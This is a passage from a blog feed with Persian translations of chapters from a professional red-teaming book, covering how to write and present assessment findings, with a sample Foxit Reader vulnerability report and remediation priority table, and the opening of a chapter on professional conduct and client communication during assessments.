<p>گروه بعدی آسیب‌پذیری‌ها، شامل مواردی هستند که به وجود یک نقص در کد ارتباط ندارند. این آسیب‌پذیری‌ها می‌توانند شامل مواردی مثل پیکربندی غلط یک دستگاه، عدم پیکربندی یک دستگاه (مثل استفاده از رمزهای پیش فرض) یا حتی نبود یک سیاست یا رویه مشخص باشند. این آسیب‌پذیری‌ها هم می‌توانند به همان میزان جدی و تأثیرگذار باشند چون احتمالاً فقط بر دستگاه یا دستگاه‌هایی که یک آسیب‌پذیری خاص دارند، تأثیرگذار نیستند. نبود رویه‌هایی مثل مدیریت وصله‌های امنیتی جزء یافته‌های تأثیرگذار بر کل سازمان هستند و باید آنها را جدی‌تر از کدهای آسیب‌پذیری که وجودشان ناشی از همین نقص است، دانست. یک عملیات خوب می‌تواند یافته‌هایی با چنین ماهیتی داشته باشد که مربوط به پیاده سازی ضعیف سیاست‌ها یا فقدان سیاست‌های لازم هستند. اگر حین ارزیابی، کارمندان امنیت سازمان با وجود شناسایی فعالیت‌های تیم قرمز، رویه‌های واکنش به حادثه را رعایت یا اجرا نکنند، این بی‌توجهی نشان دهنده وجود یک آسیب‌پذیری غیرفنی و بسیار مهم در وضعیت امنیت سازمان است.</p>
<h2><a name="_Toc144125129"></a>ثبت یافته‌ها</h2>
<p>پس از بررسی انواع یافته‌ها در یک ارزیابی، در این قسمت به مرور روش‌های مناسب ثبت یافته‌ها در گزارش می‌پردازیم. پس از اطلاع رسانی به مشتری درباره آنچه در سازمان پیدا شده، نکته مهم بعدی مشخص کردن شدت وخامت و جدیت این آسیب‌پذیری‌ها است. اگر میزان اهمیت یافته‌ها نسبت به یکدیگر برای مخاطبان گزارش مشخص نباشد، هنگام انتخاب استراتژی مناسب جهت رفع آسیب‌پذیری هم با چالش روبرو خواهند شد. همچنین این گزارش نقش مهمی در تحلیل هزینه-فایده برای سازمان دارد. اگر مشتری نتواند به راحتی تصمیم بگیرد که اول کدام آسیب‌پذیری‌ها را رفع کند، کدام آسیب‌پذیری‌ها باید رفع شوند و کدام را می‌توان پذیرفت، حتی اگر جزئیات آسیب‌پذیری‌ها به خوبی مشخص شده باشد، گزارش تهیه شده فایده چندانی نخواهد داشت.</p>
<h3><a name="_Toc144125130"></a>خلاصه یافته‌ها</h3>
<p>در بسیاری از گزارش‌ها پیش از پرداختن به هر یافته به صورت اختصاصی، یک خلاصه از یافته‌ها درج می‌شود. می‌توان این کار را با استفاده از یک نمودار میله‌ای ساده انجام داد که در یک نگاه تعداد آسیب‌پذیری‌های موجود و شدت آنها را نشان می‌دهد (شکل 7-1).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1383 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/08/professional-red-teaming-fig-7-1.jpg" alt="" width="482" height="304" srcset="https://blog.peneter.com/wp-content/uploads/2024/08/professional-red-teaming-fig-7-1.jpg 482w, https://blog.peneter.com/wp-content/uploads/2024/08/professional-red-teaming-fig-7-1-300x189.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/08/professional-red-teaming-fig-7-1-100x63.jpg 100w" sizes="auto, (max-width: 482px) 100vw, 482px" /></p>
<p style="text-align: center;">شکل 7-1 شدت وخامت یافته‌ها</p>
<p>این نمودار، روشی ساده و آسان برای مشخص کردن تعداد آسیب‌پذیری‌های شناسایی شده و میزان جدیت آنها است. یکی از مشکلات این نمودار این است که معمولاً شدت آسیب‌پذیری بر اساس میزان خطرناک بودن آن یافته خاص برای سیستمی که آسیب‌پذیری روی آن پیدا شده مشخص می‌شود نه لزوماً میزان خطری که یک یافته خاص برای سازمان دارد. یک روش بهتر برای خلاصه کردن یافته‌ها، مشخص کردن خطر آسیب‌پذیری برای سیستمی که آسیب‌پذیری روی آن پیدا شده و خطر نفوذ به آن سیستم برای کل سازمان است. ممکن است آسیب‌پذیری اجرای کد از راه دور برای یک سیستم خطرناک باشد اما وجود این آسیب‌پذیری روی دستگاهی که برای دسترسی مهمانان به اینترنت در لابی سازمان قرار گرفته و به دستگاه‌های دیگر متصل نیست، تهدید چشمگیری برای وضعیت امنیتی کلی سازمان نیست. از منظر هزینه-مزایا صرف منابع برای رفع این آسیب‌پذیری &#8220;شدید&#8221; روی یک سیستم بی‌اهمیت اقدام ضعیفی خواهد بود.</p>
<p>اما چطور باید به مشتری برای اولویت بندی رسیدگی به آسیب‌پذیری‌ها کمک کنیم؟ طبق تجربه من، یکی از بهترین روش‌های انجام این کار تهیه فهرستی از میزبان‌هایی است که هیچ یافته‌هایی در آنها وجود نداشته و بعد از مشتری درخواست شود که با فرض نفوذ، ریسک آنها را رده بندی کند. سپس ارزیاب با در نظر گرفتن این داده‌ها و یافته‌های قبلی نموداری شبیه به شکل 7-2 ایجاد می‌کند که شدت اهمیت آسیب‌پذیری‌ها را به همراه اهمیت سیستم‌های آسیب‌پذیر برای سازمان مشخص می‌کند.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1384 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2024/08/professional-red-teaming-fig-7-2.jpg" alt="" width="473" height="289" srcset="https://blog.peneter.com/wp-content/uploads/2024/08/professional-red-teaming-fig-7-2.jpg 473w, https://blog.peneter.com/wp-content/uploads/2024/08/professional-red-teaming-fig-7-2-300x183.jpg 300w, https://blog.peneter.com/wp-content/uploads/2024/08/professional-red-teaming-fig-7-2-100x61.jpg 100w" sizes="auto, (max-width: 473px) 100vw, 473px" /></p>
<p style="text-align: center;">شکل 7-2 سیستم‌های بحرانی یافته‌ها</p>
<p>با استفاده از نمودار شکل 7-2 مخاطبان می‌توانند ریسک واقعی یافته‌ها را از هم تفکیک کنند و طیف آنها را از گوشه سمت چپ بالا (که نشان دهنده یافته‌های کم ریسک روی سیستم‌های کم ریسک هستند) تا گوشه سمت راست پایین (که مربوط به یافته‌هایی با ریسک بالا روی سیستم‌های پرریسک هستند) تشخیص دهند. این نمودار به همراه داده‌های مربوط به هر یافته، به تیم ارزیابی امکان می‌دهد که سازمان مشتری را برای تدوین استراتژی مقابله با تهدید به بهترین شکل هدایت کنند.</p>
<h3><a name="_Toc144125131"></a>نمایش یافته‌ها به صورت مجزا</h3>
<p>اما پس از ارایه خلاصه، بهترین راه نمایش یافته‌ها به صورت مجزا در گزارش چیست؟ من به شخصه یافته‌ها را از بیشترین تأثیر تا کمترین تأثیر مرتب کرده و اطلاعاتی مثل آنچه در ادامه ارایه شده را برای هر یافته درج می‌کنم.</p>
<p>یافته 1: آسیب‌پذیری‌های نسخه 9.0.0.29935 از Foxit Reader</p>
<p>شدت: زیاد</p>
<p>آسیب‌پذیری‌ها:</p>
<p>CVE-2018-9979 افشای اطلاعات</p>
<table>
<tbody>
<tr>
<td width="156"></td>
<td width="156">محرمانگی</td>
<td width="156">جامعیت</td>
<td width="156">دسترس پذیری</td>
</tr>
<tr>
<td width="156">ریسک</td>
<td width="156">متوسط</td>
<td width="156">کم</td>
<td width="156">کم</td>
</tr>
</tbody>
</table>
<p>CVE-2018-9981 اجرای کد از راه دور</p>
<table>
<tbody>
<tr>
<td width="156"></td>
<td width="156">محرمانگی</td>
<td width="156">جامعیت</td>
<td width="156">دسترس پذیری</td>
</tr>
<tr>
<td width="156">ریسک</td>
<td width="156">زیاد</td>
<td width="156">زیاد</td>
<td width="156">زیاد</td>
</tr>
</tbody>
</table>
<p>فعالیتی که به شناسایی کمک کرده است: سرشماری و حمله به شبکه داخلی</p>
<p>سیستم‌هایی که آسیب‌پذیری در آنها پیدا شده است:</p>
<table>
<tbody>
<tr>
<td width="167">سیستم</td>
<td width="198">سطح ریسک برای سازمان</td>
</tr>
<tr>
<td width="167">192.168.97.44</td>
<td width="198">کم</td>
</tr>
<tr>
<td width="167">192.168.97.47</td>
<td width="198">کم</td>
</tr>
<tr>
<td width="167">192.168.97.90</td>
<td width="198">متوسط</td>
</tr>
<tr>
<td width="167">192.168.97.91</td>
<td width="198">متوسط</td>
</tr>
<tr>
<td width="167">192.168.97.201</td>
<td width="198">زیاد</td>
</tr>
</tbody>
</table>
<p>توضیحات مفصل یافته‌ها: حین اجرای عملیات، نسخه نصب شده Foxit Reader امکان اجرای کد از را دور را روی چند سیستم سازمان فراهم کرد. اجرای یک اسکن روی شبکه برای بررسی وجود این آسیب‌پذیری روی سایر سیستم‌ها، نشان داد که این آسیب‌پذیری در چند میزبان دیگر هم حضور دارد. اجرای بهره برداری اثبات مفهوم روی همه میزبان‌ها ضروری به نظر نمی‌رسید.</p>
<p>کاهش یا اصلاح: نصب جدیدترین نسخه از نرم‌افزار Foxit Reader به کاهش این تهدیدات کمک می‌کند.</p>
<p>در اینجا نکات زیادی را مطرح می‌کنیم طوری که درک آنها راحت باشد و به مخاطب برای هضم یافته‌های مختلف و جزئیات آنها کمک کند. در ابتدا خود یافته را پوشش می‌دهیم که در اینجا، استفاده از یک نسخه قدیمی و به روز نشده از Foxit Reader است. سپس شدت وخامت کلی یافته‌ها را به همراه آسیب‌پذیری مورد استفاده برای آنها مشخص می‌کنیم. لزوماً در همه یافته‌ها چندین آسیب‌پذیری وجود ندارد و در این مورد این نسخه خاص از Foxit ده‌ها آسیب‌پذیری دارد اما برای توضیحات فقط دو مورد از آنها را ذکر کردیم. آسیب‌پذیری اول CVE-2018-9979 است. CVE<a href="#_ftn2" name="_ftnref2"><sup>[2]</sup></a> مخفف آسیب‌پذیری‌ها و مواجهه‌های مشترک است که یک فهرست آسیب‌پذیری است و شرکت Mitre آن را به عنوان سندی عمومی مدیریت و نگهداری می‌کند. CVE-2018-9979 یک آسیب‌پذیری افشای اطلاعات در این نسخه از Foxit است و ممکن است مهاجمان با استفاده از آن بتوانند بدون احرازهویت و مجوز به اطلاعات سیستم دسترسی پیدا کنند. این آسیب‌پذیری هم جدی است اما نه به اندازه آسیب‌پذیری بعدی &#8211; CVE2018- 9981 &#8211; که امکان اجرای کد از راه دور را فراهم می‌کند.</p>
<p>پس از مشخص کردن اطلاعات فنی، نوع فعالیتی که منجر به شناسایی و یا بهره برداری از آسیب‌پذیری شده است را مشخص می‌کنم چون این اطلاعات می‌توانند به اصلاح یا کاهش تهدید کمک کنند. بعد از آن توضیح می‌دهیم که آسیب‌پذیری در کدام سیستم‌ها وجود داد. در یافته 1، خطری را که توسط خود سیستم‌ها برای سازمان ایجاد شده هم توضیح داده‌ایم. این اطلاعات باید از سازمان مشتری به دست بیایند و همیشه لزوماً هنگام ایجاد گزارش در دسترس شما نیستند. از آنجایی که با کمک این اطلاعات می‌توان سطح ریسک را به بهترین شکل ممکن نشان داد، باید هر زمان ممکن بود این اطلاعات را ارایه داد. پس از مشخص کردن سیستم‌های آسیب‌پذیر، جزئیات یافته‌ها و نحوه استفاده و بهره برداری از آنها را توضیح می‌دهیم &#8211; این کار هم برای کمک به رفع آسیب‌پذیری‌ها انجام می‌شود. در نهایت، راهنمای رفع یا اصلاح آسیب‌پذیری را در اختیار مشتری قرار می‌دهیم. برخی از مشتری‌ها تمایلی به دریافت این اطلاعات ندارند اما به نظر من بهتر است برای اصلاح آسیب‌پذیری‌ها هم طرز فکر امنیت تهاجمی را در نظر داشت حتی اگر در نهایت کارمندان بخش امنیت سازمان مشتری از این اطلاعات استفاده نکنند.</p>
<p>در ادامه مثالی از یک آسیب‌پذیری مشاهده می‌کنید که در کد یکی از اپلیکیشن‌های نصب شده پیدا نشده است. این آسیب‌پذیری هم جنبه فنی و هم جنبه غیرفنی دارد.</p>
<p>یافته 2: نبود سیاستی برای انقضای رمزهای عبور</p>
<p>شدت: کم</p>
<p>آسیب‌پذیری‌ها: به دلیل پیکربندی خاص سیستم، رمزهای عبور منقضی نمی‌شوند و هیچ سیاستی در این زمینه وجود ندارد.</p>
<table>
<tbody>
<tr>
<td width="156"></td>
<td width="156">محرمانگی</td>
<td width="156">جامعیت</td>
<td width="156">دسترس پذیری</td>
</tr>
<tr>
<td width="156">ریسک</td>
<td width="156">کم</td>
<td width="156">کم</td>
<td width="156">کم</td>
</tr>
</tbody>
</table>
<p>فعالیتی که به شناسایی کمک کرده است: سرشماری و حمله به شبکه داخلی</p>
<p>سیستم‌هایی که آسیب‌پذیری در آنها پیدا شده است:</p>
<table>
<tbody>
<tr>
<td width="167">سیستم</td>
<td width="198">سطح ریسک برای سازمان</td>
</tr>
<tr>
<td width="167">192.168.97.44</td>
<td width="198">کم</td>
</tr>
<tr>
<td width="167">192.168.97.47</td>
<td width="198">کم</td>
</tr>
<tr>
<td width="167">192.168.97.90</td>
<td width="198">متوسط</td>
</tr>
<tr>
<td width="167">192.168.97.91</td>
<td width="198">متوسط</td>
</tr>
<tr>
<td width="167">192.168.97.201</td>
<td width="198">زیاد</td>
</tr>
</tbody>
</table>
<p>توضیحات مفصل یافته‌ها: پس از دسترسی به چندین میزبان، مشخص شد که سیاست انقضای رمزعبور روی این سیستم‌ها پیاده سازی نشده است. همچنین پس از گفتگو با کارمندان بخش امنیت سازمان، مشخص شد که سیاستی در این زمینه وجود ندارد.</p>
<p>کاهش یا اصلاح: اعمال سیاست‌های انقضای رمزعبور در سطح سیاست‌ها، سیستم‌ها و برنامه‌های کاربردی.</p>
<p>سپس هر آنچه تا اینجا در این گزارش توضیح داده شده را در قالب یک استراتژی کاهش ریسک خلاصه می‌کنیم. این استراتژی می‌تواند شبیه به جدول زیر باشد که ترتیب کارها را برای سازمان مشخص می‌کند تا برای اصلاح و رفع تهدیدات به موارد مهم‌تر اولویت دهد. ممکن است سازمان، محدودیت‌های عملیاتی دیگری هم داشته باشد، یا برای سازمان قابل قبول باشد که برخی موارد را به جای اصلاح مدیریت کند و غیره. اما بهترین راه نشان دادن نقشه راه رفع ریسک توسط تیم ارزیابی، همین روش است:</p>
<table width="467">
<tbody>
<tr>
<td width="78">اولویت</td>
<td width="117">سیستم</td>
<td width="142">ریسک برای سازمان</td>
<td width="78">یافته</td>
<td width="51">ریسک</td>
</tr>
<tr>
<td width="78">1</td>
<td width="117">192.168.97.200</td>
<td width="142">زیاد</td>
<td width="78">1</td>
<td width="51">زیاد</td>
</tr>
<tr>
<td width="78">2</td>
<td width="117">192.168.90</td>
<td width="142">متوسط</td>
<td width="78">1</td>
<td width="51">زیاد</td>
</tr>
<tr>
<td width="78">3</td>
<td width="117">192.168.90</td>
<td width="142">متوسط</td>
<td width="78">1</td>
<td width="51">زیاد</td>
</tr>
<tr>
<td width="78">4</td>
<td width="117">192.168.97.200</td>
<td width="142">زیاد</td>
<td width="78">2</td>
<td width="51">کم</td>
</tr>
<tr>
<td width="78">5</td>
<td width="117">192.168.91</td>
<td width="142">متوسط</td>
<td width="78">2</td>
<td width="51">کم</td>
</tr>
<tr>
<td width="78">6</td>
<td width="117">192.168.91</td>
<td width="142">متوسط</td>
<td width="78">2</td>
<td width="51">کم</td>
</tr>
<tr>
<td width="78">7</td>
<td width="117">192.168.97.44</td>
<td width="142">کم</td>
<td width="78">1</td>
<td width="51">زیاد</td>
</tr>
<tr>
<td width="78">8</td>
<td width="117">192.168.97.47</td>
<td width="142">کم</td>
<td width="78">1</td>
<td width="51">زیاد</td>
</tr>
<tr>
<td width="78">9</td>
<td width="117">192.168.97.44</td>
<td width="142">کم</td>
<td width="78">2</td>
<td width="51">کم</td>
</tr>
<tr>
<td width="78">10</td>
<td width="117">192.168.97.47</td>
<td width="142">کم</td>
<td width="78">2</td>
<td width="51">کم</td>
</tr>
</tbody>
</table>
<h2><a name="_Toc144125132"></a>ارایه</h2>
<p>به نظر من، مؤثرترین نتایج ارزیابی آنهایی هستند که با یک گزارش خوب به مخاطبان منتقل شده و با یک ارایه خوب از آنها حمایت می‌شود. همیشه ارایه به صورت حضوری ممکن نیست چون برخی از تعاملات تیم قرمز از راه دور انجام می‌شوند اما بهتر است پس از تحویل گزارش به سازمان مشتری، یک ارایه توسط تیم ارزیابی انجام شود. این ارایه نباید تکرار آنچه در گزارش بیان شده باشد بلکه باید حاوی اطلاعات مکملی باشد که اهمیت نتایج و همچنین اهمیت ارزیابی امنیت تهاجمی را نشان می‌دهند. روش پیشنهادی من، تهیه چند اسلاید با یک نقشه سطح بالا از شبکه سازمان است که هر اسلاید گام مهمی از مراحل نفوذ به سازمان باشد &#8211; مثل لیستی که برای خلاصه فعالیت‌ها تهیه شده بود.</p>
<p>حین اجرای ارایه، ارزیاب مراحل نفوذ را برای مخاطبان شرح داده و خلاصه‌ها و اهداف ساده گزارش را تبدیل به یک ارایه قابل درک می‌کند طوری که حتی کارمندان غیرفنی هم اهمیت همه یافته‌ها را درک کنند حتی یافته‌هایی با شدت وخامت کمتر. نشان دادن اینکه چطور یک یافته کوچک منجر به رسیدن به یافته‌ای دیگر شده و این زنجیره تا زمان نفوذ به زیرساخت سازمان و امکانات مدیریتی آن ادامه پیدا کرده نه تنها برای مخاطبان آموزنده است بلکه اهمیت کار ارزیاب و کل فعالیت‌های تیم قرمز را نشان می‌دهد. تیم قرمز با چنین ارایه‌ای می‌تواند به مخاطبان نشان دهد که نفوذ توسط یک مهاجم مخرب به چه صورت است. سرشماری مهاجم، مسئولیت تیم قرمز است و به تصویر کشیدن چرخه عملکرد مهاجم به شکل مؤثر، بیشترین درک ممکن را نسبت به وضعیت امنیت سازمان و آنچه مستلزم رسیدگی و توجه است، فراهم می‌کند.</p>
<h2><a name="_Toc144125133"></a>ارزیابی بدون نتیجه</h2>
<p>آخرین نکته‌ای که در رابطه با گزارش دهی باید به آن بپردازیم، ارزیابی‌های بدون نتیجه است &#8211; یا ارزیابی‌هایی بدون نتیجه قابل توجه. تیم ارزیابی و مشتری باید درک کنند این که هیچ دستگاهی با موفقیت مورد نفوذ قرار نگرفته، به معنای شکست خوردن ارزیابی نیست. پیش از این هم به چنین تصورات اشتباهی در رابطه با نخبه گرایی در هک و نیاز به دیدن شدن به عنوان یک هکر نخبه اشاره کرده بودیم. باز هم به شما و به مشتری یادآوری می‌کنیم که هدف تیم‌های قرمز حرفه‌ای، تقویت وضعیت امنیتی یک سازمان است نه نفوذ به یک دستگاه، اپلیکیشن یا نرم‌افزار. نفوذ تنها یک راه برای رسیدن به یک هدف است نه هدف نهایی یا تنها مسیر برای رسیدن به آن. اگر هیچ نتیجه چشمگیری در هیچ ارزیابی وجود ندارد، باز هم توصیه‌های ما در رابطه با گزارش پابرجا هستند. به جای تمرکز بر اینکه ارزیابی چه کاستی‌هایی داشته، متمرکز بر این شوید که چه ارزیابی‌هایی انجام شده است. با این کار، حداقل دستگاه امنیت سازمان متوجه می‌شود که کدام بخش‌ها وضعیت خوبی دارند و کدام بخش‌ها احتمالاً مورد ارزیابی قرار نگرفته‌اند و بهتر است در ارزیابی‌های داخلی به آنها توجه داشت.</p>
<p>بعلاوه، اگر شرایط تعیین شده برای ارزیابی بیش از حد محدود کننده بوده و تأثیر نامطلوبی بر تعاملات دارند، باید این موضوع را هم انتقال داد. گزارش دهی برای چنین تعاملی باید به بیشترین میزان ممکن مشتری را برای پیاده سازی ارزیابی بعدی راهنمایی کند. تیم ارزیابی می‌تواند به نکاتی مثل این اشاره کند که بازه زمانی در نظر گرفته شده برای این تعامل کوتاه بوده یا محدوده تعیین شده به خوبی کل سطوح حمله مربوطه را پوشش نداده یا اینکه تیم می‌تواند با بهره برداری‌های اثبات مفهوم بیشتر یا نفوذ و انتقال به سیستم‌های بعدی، اطلاعات بیشتری در رابطه با مشکلات امنیتی سازمان فراهم کند. ارزیاب و مشتری باید همه تلاش خودشان را برای موفقیت ارزیابی و رسیدن به سطح خوبی از هزینه-منافع در رابطه با کاهش تهدیدات انجام دهند. اما، لزوماً همیشه نتیجه به این صورت نیست و ممکن است کم بودن یا فقدان نتایج، اولین گام برای شروع یک ارزیابی جامع‌تر از طریق انتخاب یک محدوده، زمانبندی، ROE و اجرای مناسب‌تر این فعالیت باشد.</p>
<h2><a name="_Toc144125134"></a>خلاصه فصل هفتم</h2>
<p>در این فصل به بررسی اهمیت گزارش دهی پرداخته، راه‌های مناسب برای ثبت محتوای یک گزارش را توصیه کرده و در نهایت به بررسی برخی از روش‌های مطلوب برای ارایه گزارش پرداختیم.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> demilitarized zone</p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> common vulnerabilities and exposures</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-7/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل ششم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-6/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-6/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Mon, 22 Jul 2024 10:51:02 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1366</guid>

					<description><![CDATA[فصل ششم: اجرای ارزیابی اجرای ارزیابی‌های امنیت تهاجمی توسط تیم‌های قرمز از جمله موضوعات بیشتر مطالعات حوزه هک اخلاقی و فعالیت‌های آن است. نمونه‌ها و...]]></description>
										<content:encoded><![CDATA[<h1>فصل ششم: اجرای ارزیابی</h1>
<p>اجرای ارزیابی‌های امنیت تهاجمی توسط تیم‌های قرمز از جمله موضوعات بیشتر مطالعات حوزه هک اخلاقی و فعالیت‌های آن است. نمونه‌ها و بررسی‌های بی‌شماری در نشریات مختلف وجود دارند که چگونگی هک سیستم‌ها را با استفاده از ابزارهای مختلف آموزش می‌دهند. اما هدف اصلی این کتاب، بررسی روش حرفه‌ای انجام چنین فعالیت‌هایی است نه خود این فعالیت‌ها. استفاده از بهترین اکسپلویت‌ها و حرفه‌ای‌ترین ابزارها یا اسکریپت‌ها در صورتی که این کار به صورت غیرحرفه‌ای انجام شود، کاملاً بی‌نتیجه خواهد بود. اجرا، مرحله‌ای از ارزیابی است که پس از توافق بر سر محدوده و امضای ROE به آن می‌رسیم. تنها در این مرحله است که تیم ارزیابی، اجرای واقعی تست را شروع می‌کند. در سطح بسیار بالا و از منظر کلی، این فرایند شامل یک چرخه پیوسته از سرشماری و بهره برداری است که در طی کل بازه اجرای ارزیابی ادامه دارد. پس از نفوذ موفقیت آمیز، تیم ارزیابی باید از همه اطلاعات موجود در سیستم اولیه برای حرکت عرضی و نفوذ عمیق‌تر در سیستم‌های سازمان استفاده کند. در این فصل به بررسی اصول توصیه شده و چگونگی عمل کردن مثل یک هکر حرفه‌ای در تعاملات تیم قرمز می‌پردازیم.</p>
<h2><a name="_Toc144125109"></a>انتخاب کارمندان</h2>
<p>پس از تکمیل شدن تعیین محدوده، تیم ارزیابی باید مطمئن شود که پرسنل لازم برای ارزیابی در دسترس هستند. بخشی از خدمات یک تیم قرمز حرفه‌ای، توانایی هدف گیری سیستم‌های مورد نظر با روش درست و با استفاده از ماهرترین کارمندان است. اگر در ROE نیاز به فعالیت فیزیکی ذکر شده باشد و هیچ یک از ارزیابان انتخاب شده برای عملیات تجربه مرتبطی در این زمینه نداشته باشد، باید پیش از شروع عملیات به این موضوع پرداخت. به ویژه این موضوع برای فعالیت‌هایی مثل ارزیابی‌های فیزیکی و بی‌سیم که ممکن است اعضای معمولی تیم قرمز فرصت حمله به چنین اهدافی را نداشته باشند، صدق می‌کند. همچنین هنگام انتخاب کارمندان برای یک عملیات، باید مهارت‌های تخصصی لازم برای نوع سیستم‌هایی که قرار است مورد سرشماری و بهره برداری قرار بگیرند، مشخص شود. اگر تیم در حال ارزیابی یک بیمارستان با دستگاه‌های نظارت پزشکی یا یک کارخانه مونتاژ دارای سیستم‌های سرپرستی و گردآوری داده (<a href="#_ftn1" name="_ftnref1">[1]</a>SCADA) است، در این صورت باید شامل کارمندانی باشد که با شیوه تصمیم گیری آگاهانه برای اسکن و بهره برداری از چنین دستگاه‌هایی آشنا باشند. اگر تیم ارزیابی امکان تأمین چنین پرسنلی را ندارد، باید از سازمان مشتری کمک گرفت تا برای پیشگیری از بروز حادثه، چنین کارمندانی با تخصص لازم در دسترس باشند.</p>
<h2><a name="_Toc144125110"></a>هکر حرفه‌ای</h2>
<p>کار کردن به عنوان یک سارق سایبری که برای نفوذ به سیستم‌های دیگران به صورت قانونی دستمزد دریافت می‌کند، می‌تواند تجربه لذت بخشی باشد اما لازم است در همه مراحل ارزیابی از جمله در جنبه‌های فنی و مهارتی مرحله اجرا، به ملاحظات احساسی و اخلاقی توجه داشت. شاید مقاومت در برابر لذت بردن از این فرایند کار سختی باشد اما وقتی اعضای تیم ارزیابی از رفتار اخلاقی یا احساسی درست فاصله می‌گیرند، ممکن است با آسیب رساندن به چهره حرفه‌ای تیم، مزایا و فواید ارزیابی را تحت الشعاع قرار دهند. در حالت معمولی هم سازمان‌های مشتری به سختی می‌توانند به افرادی که به دنبال آشکارسازی نقطه ضعف‌های آنها هستند، اعتماد کرده و با آنها ارتباط برقرار کنند. وقتی تیم ارزیابی کارهای ناشایستی مثل تغییر نام فایل گزارش وقایع به cantcatchme.txt (مترجم: نمی‌تونی منو بگیری) یا تغییر پس زمینه حساب ادمین به یک تصویر طنز را انجام می‌دهند، همه کارهای تیم را زیر سوال می‌برند. به ویژه در شرایطی که رابطه بین مشتری-ارایه دهنده خدمات خصمانه باشد، ممکن است کارمندان تیم قرمز وسوسه شوند که کارمندان امنیتی را خجالت زده کنند اما نباید رفتار حرفه‌ای را فراموش کرد. اعضای تیم قرمز باید به غیر از در نظر گرفتن تأثیرات اخلاقی یا احساسی اقدامات خودشان، روال مطلوب را دنبال کرده، از تکنیک‌ها و شگردهای مناسب استفاده کرده و یادداشت‌هایی کامل در رابطه با عملیات تهیه کنند.</p>
<h2><a name="_Toc144125111"></a>روال مطلوب</h2>
<p>تیم ارزیابی باید در این فرایند یکسری فعالیت‌های معمولی و رایج را پیاده سازی کنند. این روال توصیه شده و مطلوب با این هدف طراحی شده که از تیم ارزیابی در برابر سوء تفاهم‌ها حفاظت کرده و مشتریان را در جریان روال کار قرار دهد.</p>
<h3><a name="_Toc144125112"></a>بررسی ROE</h3>
<p>یکی از اولین کارهایی که تیم ارزیابی باید در شروع این فرایند انجام دهند، بررسی دوباره ROE برای مشخص کردن نوع فعالیت‌های مجاز در این تعامل و همچنین بررسی مجدد محدوده عملیات است. این آخرین فرصت تیم ارزیابی است تا اطمینان حاصل کند که هک اخلاقی را به روش قانونی انجام می‌دهد. همچنین این کار یک نوع بررسی ایمنی مجدد است تا تیم ارزیابی یک نسخه از ROE داشته باشد (سندی که گاهی اوقات می‌تواند حکم برگ آزادی را برای این تیم داشته باشد).</p>
<h3><a name="_Toc144125113"></a>اطلاع‌رسانی درباره فعالیت‌ها</h3>
<p>وقتی تیم قرمز کار با سیستم‌های هدف را شروع می‌کند، اعضای تیم باید به مشتری و همچنین مدیر عملیاتی خودشان در تیم ارزیابی اطلاع دهند که ارزیابی شروع شده است. به همین ترتیب، در پایان روز هم زمانی که تیم قرمز کار با سیستم‌های سازمان هدف را متوقف می‌کند، باید این موضوع را به اطلاع دیگران برساند. انجام این کار در همه روزهای ارزیابی به چند دلیل مفید است که می‌توان گفت مهم‌ترین آنها این است که سازمان مشتری در صورت مشاهده نشانه‌های نفوذ به سرعت تشخیص دهد که این نشانه‌ها مربوط به فعالیت‌های تیم قرمز هستند یا حملات واقعی.</p>
<p>اطلاع رسانی به مشتری درباره مدت زمان انجام کار در روز، به برقراری ارتباطات مناسب با مشتری در زمینه فعال بودن تیم قرمز در شبکه‌های عملیاتی کمک می‌کند. اغلب اوقات، امنیت تهاجمی جزء کارهایی است که از راه دور انجام می‌شود و اطلاع رسانی درباره مشغول بودن تیم قرمز باعث می‌شود که مدیریت عملیاتی و مشتری در رابطه با اینکه آیا تیم ارزیابی کارشان را انجام می‌دهند یا خیر، دچار ابهام نشوند. انجام این کار در مواقعی که مشتری امکان سر زدن به اتاق تیم قرمز و بررسی مشغول بودن آنها به سرشماری و بهره برداری از سیستم‌ها را ندارد، مفید است.</p>
<p>بعلاوه، تیم قرمز باید در پایان روز درباره احتمال تأثیر گذاشتن فعالیت‌های تیم بر عملکرد سازمان پس از پایان ساعات کاری هم به مشتری اطلاع رسانی کند. به خصوص این موضوع برای ارسال سیگنال‌های راهنمای توسط ابزارهای دسترسی از راه دوری که تیم روی برخی سیستم‌ها فعال نگه می‌دارد، صدق می‌کند. اما گاهی اوقات، ممکن است بهره برداری مستلزم فعال نگه داشتن یک کد باشد به این امید که یکسری از فعالیت‌های تصادفی یا زمانبندی شده روی یک سیستم منجر به اجرای کد و نصب یکی از ابزارهای تیم قرمز شود. در چنین شرایطی، بهتر است که به مدیریت سازمان در رابطه با احتمال رخ دادن چنین فعالیت‌هایی پس از ساعت کاری اطلاع رسانی کرد.</p>
<h3><a name="_Toc144125114"></a>شگردهای عملیاتی</h3>
